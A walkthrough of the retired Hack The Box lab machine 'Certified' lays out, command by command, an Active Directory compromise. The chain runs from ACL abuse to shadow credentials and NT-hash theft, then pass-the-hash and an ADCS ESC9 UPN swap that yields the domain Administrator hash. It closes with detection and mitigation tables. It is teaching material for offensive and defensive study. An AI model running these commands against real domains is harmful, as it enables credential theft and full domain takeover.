Certified
Quick facts
Section titled “Quick facts”| Platform | Hack The Box (retired) |
| OS | Windows — DC dc01.certified.htb, domain certified.htb |
| Difficulty | Medium |
| Approx. time | ~50 min |
| Scenario | Assumed breach: we’re given judith.mader:judith09 |
| Chain | WriteOwner/GenericWrite → shadow creds management_svc → GenericAll → shadow creds ca_operator → ADCS ESC9 (UPN swap) → Administrator cert → NT hash → pass-the-hash |
flowchart TD A["judith.mader (given)"] -->|WriteOwner over management| B["set owner + FullControl"] B -->|net rpc group addmem| C["judith ∈ management"] C -->|GenericWrite over management_svc| D["Shadow Credentials (pywhisker)"] D -->|PKINIT + getnthash| E["management_svc NT hash"] E -->|evil-winrm| F["management_svc (user.txt)"] F -->|GenericAll over ca_operator| G["Shadow Credentials"] G -->|PKINIT + getnthash| H["ca_operator NT hash"] H -->|ADCS ESC9: UPN → Administrator| I["Administrator cert"] I -->|certipy auth| J["Administrator NT hash"] J -->|pass-the-hash WinRM| K["Administrator (root.txt)"]
- We start from an assumed breach with
judith.mader:judith09. BloodHound reveals an ACL chain:judithhas WriteOwner over themanagementgroup, which has GenericWrite overmanagement_svc, which can PSRemote. - We take over the group, add ourselves, and with GenericWrite we set shadow credentials on
management_svc(certificate → TGT → NT hash). Pass-the-hash and WinRM. management_svchas GenericAll overca_operator: we repeat shadow credentials and get its hash. Withca_operatorwe exploit ADCS ESC9: we change its UPN toAdministrator, request a certificate, revert the UPN and authenticate as Administrator to pull its NT hash.
1. Reconnaissance
Section titled “1. Reconnaissance”-
Scan and BloodHound
What I do:
Ventana de terminal IP=<target_ip>echo "$IP certified.htb dc01.certified.htb" | sudo tee -a /etc/hostsnmap -sCV -Pn $IP # DC: Kerberos, LDAP, SMB → certified.htbbloodhound-python -d certified.htb -u judith.mader -p judith09 \-dc dc01.certified.htb -c all -ns $IPWhat I think: it’s a DC and I already have credentials (assumed breach). The escalation will be in the ACLs, so BloodHound comes first. I mark
judith.maderas owned and check Reachable High Value Targets. → AD enumeration · BloodHound -
Read the chain
What I see: three links:
judith.mader→ WriteOwner over themanagementgroup.management→ GenericWrite overmanagement_svc.management_svc→CanPSRemote(can log in over WinRM).
2. Foothold: from ACLs to management_svc
Section titled “2. Foothold: from ACLs to management_svc”-
Take over the management group
What I do:
Ventana de terminal # WriteOwner → make myself the group's ownerbloodyAD --host $IP -d certified.htb -u judith.mader -p judith09 \set owner management judith.mader# Owner → grant myself FullControl (DACL)dacledit.py -action write -rights FullControl -inheritance \-principal judith.mader -target management \certified.htb/judith.mader:judith09# FullControl → add myself to the groupnet rpc group addmem management judith.mader \-U certified.htb/judith.mader%judith09 -S dc01.certified.htbWhy it works: WriteOwner lets me become the object’s owner; the owner can rewrite the DACL and grant itself FullControl; with FullControl I add myself to the group. The classic ACL-abuse chain. → ACL and DACL abuse
-
Shadow credentials over management_svc
What I do: now in
management(GenericWrite overmanagement_svc), I add shadow credentials.Ventana de terminal pywhisker.py -d certified.htb -u judith.mader -p judith09 \--target management_svc --action add# → PFX + PFX passwordWhy it works: GenericWrite lets me write the account’s
msDS-KeyCredentialLink, adding a public key I control. With the private key I authenticate via PKINIT as that account without its password. → Shadow Credentials -
PFX → TGT → NT hash
What I do:
Ventana de terminal gettgtpkinit.py -cert-pfx <pfx> -pfx-pass '<pass>' certified.htb/management_svc management_svc.ccacheexport KRB5CCNAME=management_svc.ccachegetnthash.py -key <AS-REP_key> certified.htb/management_svc# → management_svc NT hashevil-winrm -i certified.htb -u management_svc -H <hash>What I see: a shell as
management_svc.user.txt→abcd…wxyz(redacted).
3. Lateral movement: ca_operator
Section titled “3. Lateral movement: ca_operator”-
GenericAll over ca_operator
What I see: BloodHound shows
management_svchas GenericAll overca_operator.What I do: I repeat the shadow-credentials technique (GenericAll includes GenericWrite).
Ventana de terminal pywhisker.py -d certified.htb -u management_svc -H <hash> --target ca_operator --action addgettgtpkinit.py -cert-pfx <pfx2> -pfx-pass '<pass2>' certified.htb/ca_operator ca_operator.ccacheexport KRB5CCNAME=ca_operator.ccachegetnthash.py -key <key2> certified.htb/ca_operator# → ca_operator NT hashWhat I think: the name
ca_operatorhints it has something to do with the CA. It’s the key to attacking ADCS.
4. Escalation to Domain Admin: ADCS ESC9
Section titled “4. Escalation to Domain Admin: ADCS ESC9”-
Enumerate ADCS
What I do:
Ventana de terminal nxc ldap certified.htb -u management_svc -H <hash> -M adcscertipy find -u ca_operator@certified.htb -hashes <ca_operator_hash> -vulnerable -stdoutWhat I see: a
CertifiedAuthenticationtemplate whereca_operatorcan enroll and that has no security extension → vulnerable to ESC9.What I think: ESC9 (template missing the
szOID_NTDS_CA_SECURITY_EXTextension) means the certificate is mapped to the user by their UPN, not their SID. If I can changeca_operator’s UPN toAdministrator, the certificate I request will be associated with Administrator. → ADCS: ESC9 and UPN mapping -
Change the UPN, request the cert and revert
What I do:
Ventana de terminal # ca_operator's UPN → Administrator (using GenericAll via management_svc)certipy account update -username management_svc@certified.htb -hashes <hash> \-user ca_operator -upn Administrator# Request the certificate as ca_operator (now with UPN=Administrator)certipy req -username ca_operator@certified.htb -hashes <ca_operator_hash> \-ca certified-DC01-CA -template CertifiedAuthentication# Revert the UPN so the mapping works at authenticationcertipy account update -username management_svc@certified.htb -hashes <hash> \-user ca_operator -upn ca_operator@certified.htbWhy it works: requesting the cert with UPN
Administratormakes the CA issue it to that name. Revertingca_operator’s UPN means the DC, at validation, maps the certificate to the real Administrator (there’s no SID in the cert to contradict it: that’s ESC9). -
Authenticate as Administrator
What I do:
Ventana de terminal certipy auth -pfx administrator.pfx -domain certified.htb# → Administrator NT hashevil-winrm -i certified.htb -u Administrator -H <admin_hash>cat C:\Users\Administrator\Desktop\root.txtWhat I see:
certified\administrator.root.txt→abcd…wxyz(redacted). → Lateral movement
Progressive hints
Section titled “Progressive hints”You have credentials. Load BloodHound and look at the ACL chain from judith.mader.
WriteOwner → how does it turn into group membership? Owner → DACL → FullControl → addmem.
GenericWrite/GenericAll over an account without its password: think msDS-KeyCredentialLink.
The ADCS template has no security extension. Which attribute controls the certificate mapping?
Dead ends
Section titled “Dead ends”| What I tried | Result | How I ruled it out |
|---|---|---|
| Kerberoasting / AS-REP on the accounts | No useful result | The route was the ACL chain, not cracking |
| Authenticating with the cert without reverting the UPN | Mapping fails | ESC9 requires reverting the UPN before certipy auth |
| Looking for ESC1 (arbitrary SAN) | The template didn’t allow it | The flaw was ESC9 (no security extension), not ESC1 |
Methodology takeaways
Section titled “Methodology takeaways”- Assumed breach → BloodHound first. With credentials, the path to DA is usually an ACL chain.
- WriteOwner → GenericWrite → shadow creds is a repeatable chain: take ownership, grant control, add a KeyCredential and authenticate via PKINIT.
- Shadow Credentials works with GenericWrite or GenericAll over the account and needs no current password.
- Always enumerate ADCS (
certipy find -vulnerable). ESC9 = template with no security extension → UPN mapping → impersonation by changing the UPN. - In ESC9, revert the UPN before authenticating. It’s the step people forget.
Detection and mitigation
Section titled “Detection and mitigation”| Phase | Detection | Mitigation |
|---|---|---|
| WriteOwner/DACL | Event 5136 on the group (new owner and ACE) | Review dangerous ACLs; protect sensitive groups |
| Shadow Credentials | Event 5136 on msDS-KeyCredentialLink; 4768 (PKINIT) |
Alert on KeyCredentialLink changes; Protected Users for key accounts |
| ESC9 / UPN change | 4738 (user account change: UPN), 4886/4887 (cert) | Add the security extension to templates; restrict enrollment; audit UPN changes |
| Pass-the-hash | 4624 type 3 from admin on an odd host | Admin tiering; monitor certificate-based authentication |
References
Section titled “References”- SpecterOps — “Certified Pre-Owned” (ADCS, ESC1–ESC8): https://posts.specterops.io/certified-pre-owned-d95910965cd2
- Oliver Lyak — ESC9/ESC10 (Certipy 4.0): https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
- The Hacker Recipes — Shadow Credentials: https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials